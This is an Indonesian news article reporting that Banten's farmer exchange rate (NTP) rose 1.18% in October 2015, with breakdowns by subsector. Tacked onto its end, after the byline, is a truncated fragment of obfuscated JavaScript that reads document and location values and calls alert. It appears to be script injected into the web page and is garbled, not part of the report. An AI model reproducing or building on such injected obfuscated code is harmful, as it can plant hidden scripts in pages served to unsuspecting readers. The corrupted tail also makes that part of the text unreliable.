Banten – Terdapat dua subsektor yang mendongkrak nilai tukar petani (NTP) di Provinsi Banten pada Oktober 2015 menjadi 1,18% terhadap bulan sebelumnya.

Badan Pusat Statistik (BPS) Banten mencatat subsektor yang dimaksud adalah tanaman pangan dan tanaman perkebunan rakyat. Masing-masing membukukan kenaikan 2,62% dan 2,17%.

Kepala BPS Banten Syech Suhaimi mengatakan kenaikan tersebut jadi tidak signifikan dampaknya karena terhambat tiga subsektor lain yang turun. “Hortikultura turun 0,54%, peternakan -1,95%, dan perikanan -0,21%,” ucapnya mengutip data BPS, Kamis, 5 November 2015.

Kenaikan indeks subsektor tanaman pangan pada bulan lalu menjadi 111,97 disebabkan indeks harga yang diterima (It) petani naik 2,33%. Sementara indeks yang dibayarkan (Ib) turun 0,28%.

Peningkatan It tersebut lantaran subkelompok padi indeksnya naik yang terpacu peningkatna harga gabah. Tapi kelompok palawija indeksnya turun 0,69% karena harga ketela pohon, kacang hijau, dan ubi jalar turun.

Sementara itu, Ib akibat indeks konsumsi rumah tangga (IKRT) turun sebesar 0,33%. Adapun indeks biaya produksi dan penambahan barang modal (BPPBM) naik tipis 0,01%. Kenaikan ini lantaran pertumbuhan di kelompok bibit, barang modal, dan upah buruh.

“Kalau untuk perkebunan rakyat naik 2,17% karena It naik dan sebaliknya dengan Ib,” ucapnya. Kenaikan It subsektor perkebunan rakyat sebesar 1,96% sedangkan Ib -0,21%.

It naik karena ada kenaikan indeks harga kelompok tanaman perkebunan rakyat sebesar 1m96% menjadi 120,28. Kondisi ini terpengaruh peningkatan harga kapulaga, lada, cengkeh, kelapa, kelapa sawit, kakao, dan karet.

Sementara itu, indeks harga yang dibayar petani turun lantaran indeks konsumsi rumah tanggaA� (IKRT) susut 0,28%. Kondisi ini disertai dengan kenaikan BPPBM sebesar 0,16%. (Tempo.co,/Cing) 8]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}